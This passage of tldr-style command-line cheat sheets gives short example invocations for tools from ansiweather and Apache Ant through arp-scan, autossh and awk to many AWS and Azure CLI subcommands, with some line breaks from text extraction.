ansiweather -u {{metric}} -f {{5}} -l {{Rzeszow,PL}}

• Display a forecast showing symbols and daylight data for your current location:

ansiweather -s {{true}} -d {{true}}

• Display a forecast showing wind and humidity data for your current location:

ansiweather -w {{true}} -h {{true}}


ant
Apache Ant.

Tool for building and managing Java-based projects.

More information: https://ant.apache.org.

• Build a project with default build file build.xml:

ant

• Build a project using build file other than build.xml:

ant -f {{buildfile.xml}}

• Print information on possible targets for this project:

ant -p

• Print debugging information:

ant -d

• Execute all targets that do not depend on fail target(s):

ant -k
antibody
The fastest shell plugin manager.

More information: https://getantibody.github.io.

• Bundle all plugins for static loading:

antibody bundle < {{~/.zsh_plugins.txt}} >


{{~/.zsh_plugins.sh}}

• Update all bundles:

antibody update

• List all installed plugins:

antibody list
apg
Creates arbitrarily complex random passwords.

More information: https://manned.org/apg.

• Create random passwords (default password length is 8):

apg

• Create a password with at least 1 symbol (S), 1 number (N), 1 uppercase (C), 1
lowercase (L):

apg -M SNCL

• Create a password with 16 characters:

apg -m {{16}}

• Create a password with maximum length of 16:

apg -x {{16}}

• Create a password that doesn't appear in a dictionary (the dictionary file has to be
provided):

apg -r {{dictionary_file}}
apktool
Reverse engineer APK files.

More information: https://ibotpeaches.github.io/Apktool/.

• Decode an APK file:

apktool d {{file.apk}}

• Build an APK file from a directory:

apktool b {{path/to/directory}}

• Install and store frameworks:

apktool if {{framework.apk}}
apm
Atom editor Package Manager.

See atom.

More information: https://github.com/atom/apm.

• Install packages from http://atom.io/packages and themes from http://atom.io/


themes:

apm install {{package_name}}

• Remove packages/themes:

apm remove {{package_name}}

• Upgrade packages/themes:

apm upgrade {{package_name}}


apropos
Search the manual pages for names and descriptions.

More information: https://manned.org/apropos.

• Search for a keyword using a regular expression:

apropos {{regular_expression}}

• Search without restricting the output to the terminal width:

apropos -l {{regular_expression}}

• Search for pages that contain all the expressions given:

apropos {{regular_expression_1}} -a {{regular_expression_2}}


-a {{regular_expression_3}}
ar
Create, modify, and extract from archives (.a, .so, .o).

More information: https://manned.org/ar.

• Extract all members from an archive:

ar -x {{path/to/file.a}}

• List the members of an archive:

ar -t {{path/to/file.a}}

• Replace or add files to an archive:

ar -r {{path/to/file.a}} {{path/to/file1.o}} {{path/to/


file2.o}}

• Insert an object file index (equivalent to using ranlib):

ar -s {{path/to/file.a}}

• Create an archive with files and an accompanying object file index:

ar -rs {{path/to/file.a}} {{path/to/file1.o}} {{path/to/


file2.o}}
arc
Arcanist: A CLI for Phabricator.

More information: https://secure.phabricator.com/book/phabricator/article/arcanist/.

• Send the changes to Differential for review:

arc diff

• Show pending revision information:

arc list

• Update Git commit messages after review:

arc amend

• Push Git changes:

arc land
arch
Display the name of the system architecture.

See also uname.

More information: https://www.gnu.org/software/coreutils/arch.

• Display the system's architecture:

arch
arduino-builder
A command-line tool for compiling arduino sketches.

DEPRECATION WARNING: This tool is being phased out in favor of arduino.

More information: https://github.com/arduino/arduino-builder.

• Compile a sketch:

arduino-builder -compile {{path/to/sketch.ino}}

• Specify the debug level (1 to 10, defaults to 5):

arduino-builder -debug-level {{level}}

• Specify a custom build directory:

arduino-builder -build-path {{path/to/build_directory}}

• Use a build option file, instead of specifying --hardware, --tools, etc.


manually every time:

arduino-builder -build-options-file {{path/to/


build.options.json}}

• Enable verbose mode:

arduino-builder -verbose {{true}}


arduino
Arduino Studio - Integrated Development Environment for the Arduino platform.

More information: https://github.com/arduino/Arduino/blob/master/build/shared/


manpage.adoc.

• Build a sketch:

arduino --verify {{path/to/file.ino}}

• Build and upload a sketch:

arduino --upload {{path/to/file.ino}}

• Build and upload a sketch to an Arduino Nano with an Atmega328p CPU,


connected on port /dev/ttyACM0:

arduino --board {{arduino:avr:nano:cpu=atmega328p}} --port


{{/dev/ttyACM0}} --upload {{path/to/file.ino}}

• Set the preference name to a given value:

arduino --pref {{name}}={{value}}

• Build a sketch, put the build results in the build directory, and reuse any previous
build results in that directory:

arduino --pref build.path={{path/to/build_directory}} --


verify {{path/to/file.ino}}

• Save any (changed) preferences to preferences.txt:

arduino --save-prefs
aria2
This command is an alias of aria2c.

• View documentation for the updated command:

tldr aria2c
aria2c
Fast download utility.

Supports HTTP(S), FTP, SFTP, BitTorrent, and Metalink.

More information: https://aria2.github.io.

• Download a URI to a file:

aria2c {{url}}

• Download the file pointed to by the specified URI with the specified output name:

aria2c --out={{filename}} {{url}}

• Download multiple files in parallel:

aria2c --force-sequential {{url_1}} {{url_2}}

• Download from multiple sources with each URI pointing to the same file:

aria2c {{url_1}} {{url_2}}

• Download the URIs listed in a file with limited parallel downloads:

aria2c --input-file={{filename}} --max-concurrent-


downloads={{number_of_downloads}}

• Download with multiple connections:

aria2c --split={{number_of_connections}} {{url}}

• FTP download with username and password:

aria2c --ftp-user={{username}} --ftp-passwd={{password}}


{{url}}

• Limit download speed in bytes/s:

aria2c --max-download-limit={{speed}} {{url}}


arp-scan
Send ARP packets to hosts (specified as IP addresses or hostnames) to scan the local
network.

More information: https://github.com/royhills/arp-scan.

• Scan the current local network:

arp-scan --localnet

• Scan an IP network with a custom bitmask:

arp-scan {{192.168.1.1}}/{{24}}

• Scan an IP network within a custom range:

arp-scan {{127.0.0.0}}-{{127.0.0.31}}

• Scan an IP network with a custom net mask:

arp-scan {{10.0.0.0}}:{{255.255.255.0}}
arp
Show and manipulate your system's ARP cache.

More information: https://manned.org/arp.

• Show the current ARP table:

arp -a

• Clear the entire cache:

sudo arp -a -d

• Delete a specific entry:

arp -d {{address}}

• Create an entry in the ARP table:

arp -s {{address}} {{mac_address}}


arping
Discover and probe hosts in a network using the ARP protocol.

Useful for MAC address discovery.

More information: https://github.com/ThomasHabets/arping.

• Ping a host by ARP request packets:

arping {{host_ip}}

• Ping a host on a specific interface:

arping -I {{interface}} {{host_ip}}

• Ping a host and stop at the first reply:

arping -f {{host_ip}}

• Ping a host a specific number of times:

arping -c {{count}} {{host_ip}}

• Broadcast ARP request packets to update neighbours' ARP caches:

arping -U {{ip_to_broadcast}}

• Detect duplicated IP addresses in the network by sending ARP requests with a 3


second timeout:

arping -D -w {{3}} {{ip_to_check}}


asar
A file archiver for the Electron platform.

More information: https://github.com/electron/asar.

• Archive a file or directory:

asar pack {{path/to/file_or_directory}} {{archived.asar}}

• Extract an archive:

asar extract {{archived.asar}}

• Extract a specific file from an archive:

asar extract-file {{archived.asar}} {{file}}

• List the contents of an archive file:

asar list {{archived.asar}}


asciidoctor
A processor that converts AsciiDoc files to a publishable format.

More information: https://docs.asciidoctor.org.

• Convert a specific .adoc file to HTML (the default output format):

asciidoctor {{path/to/file.adoc}}

• Convert a specific .adoc file to HTML and link a CSS stylesheet:

asciidoctor -a stylesheet={{path/to/stylesheet.css}} {{path/


to/file.adoc}}

• Convert a specific .adoc file to embeddable HTML, removing everything except


the body:

asciidoctor --embedded {{path/to/file.adoc}}

• Convert a specific .adoc file to a PDF using the asciidoctor-pdf library:

asciidoctor --backend={{pdf}} --require={{asciidoctor-pdf}}


{{path/to/file.adoc}}
asciinema
Record and replay terminal sessions, and optionally share them on asciinema.org.

More information: https://asciinema.org/.

• Associate the local install of asciinema with an asciinema.org account:

asciinema auth

• Make a new recording (once finished, user will be prompted to upload it or save it
locally):

asciinema rec

• Make a new recording and save it to a local file:

asciinema rec {{path/to/file}}.cast

• Replay a terminal recording from a local file:

asciinema play {{path/to/file}}.cast

• Replay a terminal recording hosted on asciinema.org:

asciinema play https://asciinema.org/a/{{cast_id}}

• Make a new recording, limiting any idle time to at most 2.5 seconds:

asciinema rec -i {{2.5}}

• Print the full output of a locally saved recording:

asciinema cat {{path/to/file}}.cast

• Upload a locally saved terminal session to asciinema.org:

asciinema upload {{path/to/file}}.cast


asdf
Command-line interface for managing versions of different packages.

More information: https://asdf-vm.com.

• List all available plugins:

asdf plugin-list-all

• Install a plugin:

asdf plugin-add {{name}}

• List all available versions for a package:

asdf list-all {{name}}

• Install a specific version of a package:

asdf install {{name}} {{version}}

• Set global version for a package:

asdf global {{name}} {{version}}

• Set local version for a package:

asdf local {{name}} {{version}}


assimp
Command-line client for the Open Asset Import Library.

Supports loading of 40+ 3D file formats, and exporting to several popular 3D formats.

More information: http://www.assimp.org/.

• List all supported import formats:

assimp listext

• List all supported export formats:

assimp listexport

• Convert a file to one of the supported output formats, using the default
parameters:

assimp export {{input_file.stl}} {{output_file.obj}}

• Convert a file using custom parameters (the dox_cmd.h file in assimp's source code
lists available parameters):

assimp export {{input_file.stl}} {{output_file.obj}}


{{parameters}}

• Display a summary of a 3D file's contents:

assimp info {{path/to/file}}

• List all supported subcommands ("verbs"):

assimp help

• Get help on a specific subcommand (e.g. the parameters specific to it):

assimp {{subcommand}} --help


astronomer
Tool that detects illegitimate stars from bot accounts on GitHub projects.

More information: https://github.com/Ullaakut/astronomer.

• Scan a repository:

astronomer {{tldr-pages/tldr-node-client}}

• Scan the maximum amount of stars in the repository:

astronomer {{tldr-pages/tldr-node-client}} --stars {{50}}

• Scan a repository including comparative reports:

astronomer {{tldr-pages/tldr-node-client}} --verbose


astyle
Source code indenter, formatter, and beautifier for the C, C++, C# and Java programming
languages.

Upon running, a copy of the original file is created with an ".orig" appended to the
original file name.

More information: http://astyle.sourceforge.net/.

• Apply the default style of 4 spaces per indent and no formatting changes:

astyle {{source_file}}

• Apply the Java style with attached braces:

astyle --style=java {{path/to/file}}

• Apply the allman style with broken braces:

astyle --style=allman {{path/to/file}}

• Apply a custom indent using spaces. Choose between 2 and 20 spaces:

astyle --indent=spaces={{number_of_spaces}} {{path/to/file}}

• Apply a custom indent using tabs. Choose between 2 and 20 tabs:

astyle --indent=tab={{number_of_tabs}} {{path/to/file}}


at
Execute commands once at a later time.

Service atd (or atrun) should be running for the actual executions.

More information: https://man.archlinux.org/man/at.1.

• Execute commands from standard input in 5 minutes (press Ctrl + D when


done):

at now + 5 minutes

• Execute a command from standard input at 10:00 AM today:

echo "{{./make_db_backup.sh}}" | at 1000

• Execute commands from a given file next Tuesday:

at -f {{path/to/file}} 9:30 PM Tue


atom
A cross-platform pluggable text editor.

Plugins are managed by apm.

More information: https://atom.io/.

• Open a file or directory:

atom {{path/to/file_or_directory}}

• Open a file or directory in a new window:

atom -n {{path/to/file_or_directory}}

• Open a file or directory in an existing window:

atom --add {{path/to/file_or_directory}}

• Open Atom in safe mode (does not load any additional packages):

atom --safe

• Prevent Atom from forking into the background, keeping Atom attached to the
terminal:

atom --foreground

• Wait for Atom window to close before returning (useful for Git commit editor):

atom --wait
atoum
A simple, modern and intuitive unit testing framework for PHP.

More information: http://atoum.org.

• Initialise a configuration file:

atoum --init

• Run all tests:

atoum

• Run tests using the specified configuration file:

atoum -c {{path/to/file}}

• Run a specific test file:

atoum -f {{path/to/file}}

• Run a specific directory of tests:

atoum -d {{path/to/directory}}

• Run all tests under a specific namespace:

atoum -ns {{namespace}}

• Run all tests with a specific tag:

atoum -t {{tag}}

• Load a custom bootstrap file before running tests:

atoum --bootstrap-file {{path/to/file}}


atq
Show jobs scheduled by at or batch commands.

More information: https://man.archlinux.org/man/at.1.

• Show the current user's scheduled jobs:

atq

• Show jobs from queue named 'a' (queues have single-character names):

atq -q {{a}}

• Show jobs of all users (run as superuser):

sudo atq
atrm
Remove jobs scheduled by at or batch commands.

To find job numbers use atq.

More information: https://man.archlinux.org/man/at.1.

• Remove job number 10:

atrm {{10}}

• Remove many jobs, separated by spaces:

atrm {{15}} {{17}} {{22}}


auditd
This responds to requests from the audit utility and notifications from the kernel.

It should not be invoked manually.

More information: https://manned.org/auditd.

• Start the daemon:

auditd

• Start the daemon in debug mode:

auditd -d

• Start the daemon on-demand from launchd:

auditd -l
autoflake
A tool to remove unused imports and variables from Python code.

More information: https://github.com/myint/autoflake.

• Remove unused variables from a single file and display the diff:

autoflake --remove-unused-variables {{file.py}}

• Remove unused imports from multiple files and display the diffs:

autoflake --remove-all-unused-imports {{file1.py}}


{{file2.py}} {{file3.py}}

• Remove unused variables from a file, overwriting the file:

autoflake --remove-unused-variables --in-place {{file.py}}

• Remove unused variables recursively from all files in a directory, overwriting each
file:

autoflake --remove-unused-variables --in-place --recursive


{{path/to/directory}}
autojump
Quickly jump among the directories you visit the most.

Aliases like j or jc are provided for even less typing.

More information: https://github.com/wting/autojump.

• Jump to a directory that contains the given pattern:

j {{pattern}}

• Jump to a sub-directory (child) of the current directory that contains the given
pattern:

jc {{pattern}}

• Open a directory that contains the given pattern in the operating system file
manager:

jo {{pattern}}

• Remove non-existing directories from the autojump database:

j --purge

• Show the entries in the autojump database:

j -s
autopep8
Format Python code according to the PEP 8 style guide.

More information: https://github.com/hhatto/autopep8.

• Format a file to stdout, with a custom maximum line length:

autopep8 {{path/to/file.py}} --max-line-length {{length}}

• Format a file, displaying a diff of the changes:

autopep8 --diff {{path/to/file}}

• Format a file in-pace and save the changes:

autopep8 --in-place {{path/to/file.py}}

• Recursively format all files in a directory in-place and save changes:

autopep8 --in-place --recursive {{path/to/directory}}


autossh
Run, monitor and restart SSH connections.

Auto-reconnects to keep port forwarding tunnels up. Accepts all ssh flags.

More information: https://www.harding.motd.ca/autossh.

• Start an SSH session, restarting when a monitoring port fails to return data:

autossh -M {{monitor_port}} "{{ssh_command}}"

• Forward a local port to a remote one, restarting when necessary:

autossh -M {{monitor_port}} -L {{local_port}}:localhost:


{{remote_port}} {{user}}@{{host}}

• Fork autossh into the background before executing ssh and don't open a remote
shell:

autossh -f -M {{monitor_port}} -N "{{ssh_command}}"

• Run in the background, with no monitoring port, and instead send SSH keep-alive
packets every 10 seconds to detect failure:

autossh -f -M 0 -N -o "ServerAliveInterval 10" -o


"ServerAliveCountMax 3" "{{ssh_command}}"

• Run in the background, with no monitoring port and no remote shell, exiting if the
port forward fails:

autossh -f -M 0 -N -o "ServerAliveInterval 10" -o


"ServerAliveCountMax 3" -o ExitOnForwardFailure=yes -L
{{local_port}}:localhost:{{remote_port}} {{user}}@{{host}}

• Run in the background, logging autossh debug output and ssh verbose output to
files:

AUTOSSH_DEBUG=1 AUTOSSH_LOGFILE={{path/to/
autossh_log_file.log}} autossh -f -M {{monitor_port}} -v -E
{{path/to/ssh_log_file.log}} {{ssh_command}}
avo
The official command-line interface for Avo.

More information: https://www.avo.app/docs/implementation/cli.

• Initialize a workspace in the current directory:

avo init

• Log into the Avo platform:

avo login

• Switch to an existing Avo branch:

avo checkout {{branch_name}}

• Pull analytics wrappers for the current path:

avo pull

• Display the status of the Avo implementation:

avo status

• Resolve Git conflicts in Avo files:

avo conflict

• Open the current Avo workspace in the default web browser:

avo edit

• Display help for a subcommand:

avo {{subcommand}} --help


avrdude
Driver program for Atmel AVR microcontrollers programming.

More information: https://www.nongnu.org/avrdude/.

• Read AVR microcontroller:

avrdude -p {{AVR_device}} -c {{programmer}} -U flash:r:


{{file.hex}}:i

• Write AVR microcontroller:

avrdude -p {{AVR_device}} -c {{programmer}} -U flash:w:


{{file.hex}}

• List available AVR devices:

avrdude -p \?

• List available AVR programmers:

avrdude -c \?
awk
A versatile programming language for working on files.

More information: https://github.com/onetrueawk/awk.

• Print the fifth column (a.k.a. field) in a space-separated file:

awk '{print $5}' {{filename}}

• Print the second column of the lines containing "foo" in a space-separated file:

awk '/{{foo}}/ {print $2}' {{filename}}

• Print the last column of each line in a file, using a comma (instead of space) as a
field separator:

awk -F ',' '{print $NF}' {{filename}}

• Sum the values in the first column of a file and print the total:

awk '{s+=$1} END {print s}' {{filename}}

• Print every third line starting from the first line:

awk 'NR%3==1' {{filename}}

• Print different values based on conditions:

awk '{if ($1 == "foo") print "Exact match foo"; else if ($1 ~
"bar") print "Partial match bar"; else print "Baz"}'
{{filename}}

• Print all lines where the 10th column value equals the specified value :

awk '($10 == value)'

• Print all the lines which the 10th column value is between a min and a max :

awk '($10 >= min_value && $10 <= max_value)'


aws cur
Create, query, and delete AWS usage report definitions.

More information: https://awscli.amazonaws.com/v2/documentation/api/latest/


reference/cur/index.html.

• Create an AWS cost and usage report definition from a JSON file:

aws cur put-report-definition --report-definition file://


{{path/to/report_definition.json}}

• List usage report definitions defined for the logged in account:

aws cur describe-report-definitions

• Delete a usage report definition:

aws cur --region {{aws_region}} delete-report-definition --


report-name {{report}}
aws ec2
CLI for AWS EC2.

Provides secure and resizable computing capacity in the AWS cloud to enable faster
development and deployment of applications.

More information: https://awscli.amazonaws.com/v2/documentation/api/latest/


reference/ec2/index.html.

• Show list of all available EC2 commands:

aws ec2 help

• Show help for specific EC2 subcommand:

aws ec2 {{subcommand}} help

• Display information about a specific instance:

aws ec2 describe-instances --instance-ids {{instance_id}}

• Display information about all instances:

aws ec2 describe-instances

• Display information about all EC2 volumes:

aws ec2 describe-volumes

• Delete an EC2 volume:

aws ec2 delete-volume --volume-id {{volume_id}}

• Create a snapshot from an EC2 volume:

aws ec2 create-snapshot --volume-id {{volume_id}}

• List available AMIs (Amazon Machine Images):

aws ec2 describe-images


aws ecr
Push, pull, and manage container images.

More information: https://awscli.amazonaws.com/v2/documentation/api/latest/


reference/ecr/index.html.

• Authenticate Docker with the default registry (username is AWS):

aws ecr get-login-password --region {{region}} | {{docker


login}} --username AWS --password-stdin
{{aws_account_id}}.dkr.ecr.{{region}}.amazonaws.com

• Create a repository:

aws ecr create-repository --repository-name {{repository}} --


image-scanning-configuration scanOnPush={{true|false}} --
region {{region}}

• Tag a local image for ECR:

docker tag {{container_name}}:{{tag}}


{{aws_account_id}}.dkr.ecr.{{region}}.amazonaws.com/
{{container_name}}:{{tag}}

• Push an image to a repository:

docker push {{aws_account_id}}.dkr.ecr.


{{region}}.amazonaws.com/{{container_name}}:{{tag}}

• Pull an image from a repository:

docker pull {{aws_account_id}}.dkr.ecr.


{{region}}.amazonaws.com/{{container_name}}:{{tag}}

• Delete an image from a repository:

aws ecr batch-delete-image --repository-name {{repository}}


--image-ids imageTag={{latest}}

• Delete a repository:

aws ecr delete-repository --repository-name {{repository}} --


force

• List images within a repository:

aws ecr list-images --repository-name {{repository}}


aws glue
CLI for AWS Glue.

Defines the public endpoint for the AWS Glue service.

More information: https://docs.aws.amazon.com/cli/latest/reference/glue/.

• List jobs:

aws glue list-jobs

• Start a job:

aws glue start-job-run --job-name {{job_name}}

• Start running a workflow:

aws glue start-workflow-run --name {{workflow_name}}

• List triggers:

aws glue list-triggers

• Start a trigger:

aws glue start-trigger --name {{trigger_name}}

• Create a dev endpoint:

aws glue create-dev-endpoint --endpoint-name {{name}} --role-


arn {{role_arn_used_by_endpoint}}
aws-google-auth
Command-line tool to acquire AWS temporary (STS) credentials using Google Apps as a
federated (Single Sign-On) provider.

More information: https://github.com/cevoaustralia/aws-google-auth.

• Log in with Google SSO using the IDP and SP identifiers and set the credentials
duration to one hour:

aws-google-auth -u {{example@example.com}} -I
{{$GOOGLE_IDP_ID}} -S {{$GOOGLE_SP_ID}} -d {{3600}}

• Log in [a]sking which role to use (in case of several available SAML roles):

aws-google-auth -u {{example@example.com}} -I
{{$GOOGLE_IDP_ID}} -S {{$GOOGLE_SP_ID}} -d {{3600}} -a

• Resolve aliases for AWS accounts:

aws-google-auth -u {{example@example.com}} -I
{{$GOOGLE_IDP_ID}} -S {{$GOOGLE_SP_ID}} -d {{3600}} -a --
resolve-aliases

• Show help information:

aws-google-auth -h
aws help
Display help information about the AWS CLI.

More information: https://docs.aws.amazon.com/cli/latest/userguide/cli-usage-


help.html.

• Display help:

aws help

• List all available topics:

aws help topics

• Display help about a specific topic:

aws help {{topic_name}}


aws iam
CLI for AWS IAM.

More information: https://awscli.amazonaws.com/v2/documentation/api/latest/


reference/iam/index.html.

• Show aws iam help page (including all available iam commands):

aws iam help

• List users:

aws iam list-users

• List policies:

aws iam list-policies

• List groups:

aws iam list-groups

• Get users in a group:

aws iam get-group --group-name {{group_name}}

• Describe an IAM policy:

aws iam get-policy --policy-arn arn:aws:iam::aws:policy/


{{policy_name}}

• List access keys:

aws iam list-access-keys

• List access keys for a specific user:

aws iam list-access-keys --user-name {{user_name}}


aws kinesis
Official AWS CLI for Amazon Kinesis streaming data services.

More information: https://docs.aws.amazon.com/cli/latest/reference/kinesis/


index.html#cli-aws-kinesis.

• Show all streams in the account:

aws kinesis list-streams

• Write one record to a Kinesis stream:

aws kinesis put-record --stream-name {{name}} --partition-key


{{key}} --data {{base64_encoded_message}}

• Write a record to a Kinesis stream with inline base64 encoding:

aws kinesis put-record --stream-name {{name}} --partition-key


{{key}} --data "$( echo "{{my raw message}}" | base64 )"

• List the shards available on a stream:

aws kinesis list-shards --stream-name {{name}}

• Get a shard iterator for reading from the oldest message in a stream's shard:

aws kinesis get-shard-iterator --shard-iterator-type


TRIM_HORIZON --stream-name {{name}} --shard-id {{id}}

• Read records from a shard, using a shard iterator:

aws kinesis get-records --shard-iterator {{iterator}}


aws lambda
CLI for AWS lambda.

More information: https://docs.aws.amazon.com/cli/latest/reference/lambda/.

• Run a function:

aws lambda invoke --function-name {{name}} {{path/to/


response}}.json

• Run a function with an input payload in JSON format:

aws lambda invoke --function-name {{name}} --payload {{json}}


{{path/to/response}}.json

• List functions:

aws lambda list-functions

• Display the configuration of a function:

aws lambda get-function-configuration --function-name


{{name}}

• List function aliases:

aws lambda list-aliases --function-name {{name}}

• Display the reserved concurrency configuration for a function:

aws lambda get-function-concurrency --function-name {{name}}

• List which AWS services can invoke the function:

aws lambda get-policy --function-name {{name}}


aws quicksight
CLI for AWS QuickSight.

Access QuickSight entities.

More information: https://docs.aws.amazon.com/cli/latest/reference/quicksight/.

• List datasets:

aws quicksight list-data-sets --aws-account-id


{{aws_account_id}}

• List users:

aws quicksight list-users --aws-account-id {{aws_account_id}}


--namespace default

• List groups:

aws quicksight list-groups --aws-account-id


{{aws_account_id}} --namespace default

• List dashboards:

aws quicksight list-dashboards --aws-account-id


{{aws_account_id}}

• Display detailed information about a dataset:

aws quicksight describe-data-set --aws-account-id


{{aws_account_id}} --data-set-id {{data_set_id}}

• Display who has access to the dataset and what kind of actions they can perform
on the dataset:

aws quicksight describe-data-set-permissions --aws-account-id


{{aws_account_id}} --data-set-id {{data_set_id}}
aws rds
CLI for AWS Relational Database Service.

Create and manage relational databases.

More information: https://awscli.amazonaws.com/v2/documentation/api/latest/


reference/rds/index.html.

• Show help for specific RDS subcommand:

aws rds {{subcommand}} help

• Stop instance:

aws rds stop-db-instance --db-instance-identifier


{{instance_identifier}}

• Start instance:

aws rds start-db-instance --db-instance-identifier


{{instance_identifier}}

• Modify an RDS instance:

aws rds modify-db-instance --db-instance-identifier


{{instance_identifier}} {{parameters}} --apply-immediately

• Apply updates to an RDS instance:

aws rds apply-pending-maintenance-action --resource-


identifier {{database_arn}} --apply-action {{system-update}}
--opt-in-type {{immediate}}

• Change an instance identifier:

aws rds modify-db-instance --db-instance-identifier


{{old_instance_identifier}} --new-db-instance-identifier
{{new_instance_identifier}}

• Reboot an instance:

aws rds reboot-db-instance --db-instance-identifier


{{instance_identifier}}

• Delete an instance:
aws rds delete-db-instance --db-instance-identifier
{{instance_identifier}} --final-db-snapshot-identifier
{{snapshot_identifier}} --delete-automated-backups
aws s3
CLI for AWS S3 - provides storage through web services interfaces.

More information: https://awscli.amazonaws.com/v2/documentation/api/latest/


reference/s3/index.html.

• Show files in a bucket:

aws s3 ls {{bucket_name}}

• Sync files and directories from local to bucket:

aws s3 sync {{path/to/files}} s3://{{bucket_name}}

• Sync files and directories from bucket to local:

aws s3 sync s3://{{bucket_name}} {{path/to/target}}

• Sync files and directories with exclusions:

aws s3 sync {{path/to/files}} s3://{{bucket_name}} --exclude


{{path/to/file}} --exclude {{path/to/directory}}/*

• Remove file from bucket:

aws s3 rm s3://{{bucket}}/{{path/to/file}}

• Preview changes only:

aws s3 {{any_command}} --dryrun


aws s3api
Create and delete Amazon S3 buckets and edit bucket properties.

More information: https://awscli.amazonaws.com/v2/documentation/api/latest/


reference/s3api/index.html.

• Create a bucket:

aws s3api create-bucket --bucket {{bucket_name}}

• Delete a bucket:

aws s3api delete-bucket --bucket {{bucket_name}}

• List buckets:

aws s3api list-buckets

• List the objects inside of a bucket and only show each object's key and size:

aws s3api list-objects --bucket {{bucket_name}} --query


'{{Contents[].{Key: Key, Size: Size}}}'

• Add an object to a bucket:

aws s3api put-object --bucket {{bucket_name}} --key


{{object_key}} --body {{path/to/file}}

• Download object from a bucket (The output file is always the last argument):

aws s3api get-object --bucket {{bucket_name}} --key


{{object_key}} {{path/to/output_file}}

• Apply an Amazon S3 bucket policy to a specified bucket:

aws s3api put-bucket-policy --bucket {{bucket_name}} --policy


file://{{path/to/bucket_policy.json}}

• Download the Amazon S3 bucket policy from a specified bucket:

aws s3api get-bucket-policy --bucket {{bucket_name}} --query


Policy --output {{json|table|text|yaml|yaml-stream}} >
{{path/to/bucket_policy}}
aws secretsmanager
Store, manage, and retrieve secrets.

More information: https://docs.aws.amazon.com/cli/latest/reference/secretsmanager/.

• Show secrets stored by the secrets manager in the current account:

aws secretsmanager list-secrets

• Create a secret:

aws secretsmanager create-secret --name {{name}} --


description "{{secret_description}}" --secret-string
{{secret}}

• Delete a secret:

aws secretsmanager delete-secret --secret-id {{name_or_arn}}

• View details of a secret except for secret text:

aws secretsmanager describe-secret --secret-id


{{name_or_arn}}

• Retrieve the value of a secret (to get the latest version of the secret omit --
version-stage):

aws secretsmanager get-secret-value --secret-id


{{name_or_arn}} --version-stage {{version_of_secret}}

• Rotate the secret immediately using a Lambda function:

aws secretsmanager rotate-secret --secret-id {{name_or_arn}}


--rotation-lambda-arn {{arn_of_lambda_function}}

• Rotate the secret automatically every 30 days using a Lambda function:

aws secretsmanager rotate-secret --secret-id {{name_or_arn}}


--rotation-lambda-arn {{arn_of_lambda_function}} --rotation-
rules AutomaticallyAfterDays={{30}}
aws ses
CLI for AWS Simple Email Service.

High-scale inbound and outbound cloud email service.

More information: https://awscli.amazonaws.com/v2/documentation/api/latest/


reference/ses/index.html.

• Create a new receipt rule set:

aws ses create-receipt-rule-set --rule-set-name


{{rule_set_name}} --generate-cli-skeleton

• Describe the active receipt rule set:

aws ses describe-active-receipt-rule-set --generate-cli-


skeletion

• Describe a specific receipt rule:

aws ses describe-receipt-rule --rule-set-name


{{rule_set_name}} --rule-name {{rule_name}} --generate-cli-
skeleton

• List all receipt rule sets:

aws ses list-receipt-rule-sets --starting-token


{{token_string}} --max-items {{integer}} --generate-cli-
skeleton

• Delete a specific receipt rule set (the currently active rule set cannot be deleted):

aws ses delete-receipt-rule-set --rule-set-name


{{rule_set_name}} --generate-cli-skeleton

• Delete a specific receipt rule:

aws ses delete-receipt-rule --rule-set-name {{rule_set_name}}


--rule-name {{rule_name}} --generate-cli-skeleton

• Send an email:

aws ses send-email --from {{from_address}} --destination


"ToAddresses={{addresses}}" --message
"Subject={Data={{subject_text}},Charset=utf8},Body={Text={Data={{body_

• Show help for a specific SES subcommand:


aws ses {{subcommand}} help
aws-vault
A vault for securely storing and accessing AWS credentials in development
environments.

More information: https://github.com/99designs/aws-vault.

• Add credentials to the secure keystore:

aws-vault add {{profile}}

• Execute a command with AWS credentials in the environment:

aws-vault exec {{profile}} -- {{aws s3 ls}}

• Open a browser window and login to the AWS Console:

aws-vault login {{profile}}

• List profiles, along with their credentials and sessions:

aws-vault list

• Rotate AWS credentials:

aws-vault rotate {{profile}}

• Remove credentials from the secure keystore:

aws-vault remove {{profile}}


aws
The official CLI tool for Amazon Web Services.

Some subcommands such as aws s3 have their own usage documentation.

More information: https://aws.amazon.com/cli.

• Configure the AWS Command-line:

aws configure wizard

• Configure the AWS Command-line using SSO:

aws configure sso

• See help text for the AWS command:

aws {{command}} help

• Get the caller identity (used to troubleshoot permissions):

aws sts get-caller-identity

• List AWS resources in a region and output in YAML:

aws dynamodb list-tables --region {{us-east-1}} --output yaml

• Use auto prompt to help with a command:

aws iam create-user --cli-auto-prompt

• Get an interactive wizard for an AWS resource:

aws dynamodb wizard {{new_table}}

• Generate a JSON CLI Skeleton (useful for infrastructure as code):

aws dynamodb update-table --generate-cli-skeleton


awslogs
Queries groups, streams and events from Amazon CloudWatch logs.

More information: https://github.com/jorgebastida/awslogs.

• List log groups:

awslogs groups

• List existing streams for the specified group:

awslogs streams {{/var/log/syslog}}

• Get logs for any streams in the specified group between 1 and 2 hours ago:

awslogs get {{/var/log/syslog}} --start='{{2h ago}}' --


end='{{1h ago}}'

• Get logs that match a specific CloudWatch Logs Filter pattern:

awslogs get {{/aws/lambda/my_lambda_group}} --filter-


pattern='{{ERROR}}'

• Watch logs for any streams in the specified group:

awslogs get {{/var/log/syslog}} ALL --watch


axel
Download accelerator.

Supports HTTP, HTTPS, and FTP.

More information: https://github.com/axel-download-accelerator/axel.

• Download a URL to a file:

axel {{url}}

• Download and specify filename:

axel {{url}} -o {{filename}}

• Download with multiple connections:

axel -n {{connections_num}} {{url}}

• Search for mirrors:

axel -S {{mirrors_num}} {{url}}

• Limit download speed (bytes per second):

axel -s {{speed}} {{url}}


az account
Manage Azure subscription information.

Part of az, the command-line client for Microsoft Azure.

More information: https://docs.microsoft.com/cli/azure/account.

• Print a list of subscriptions for the logged in account:

az account list

• Set a subscription to be the currently active subscription:

az account set --subscription {{subscription_id}}

• List supported regions for the currently active subscription:

az account list-locations

• Print an access token to be used with MS Graph API:

az account get-access-token --resource-type {{ms-graph}}

• Print details of the currently active subscription in a specific format:

az account show --output {{json|tsv|table|yaml}}


az appconfig
Manage App configurations on Azure.

Part of az, the command-line client for Microsoft Azure.

More information: https://docs.microsoft.com/cli/azure/appconfig.

• Create an App Configuration:

az appconfig create --name {{name}} --resource-group


{{group_name}} --location {{location}}

• Delete a specific App Configuration:

az appconfig delete --resource-group {{rg_name}} --name


{{appconfig_name}}

• List all App Configurations under the current subscription:

az appconfig list

• List all App Configurations under a specific resource group:

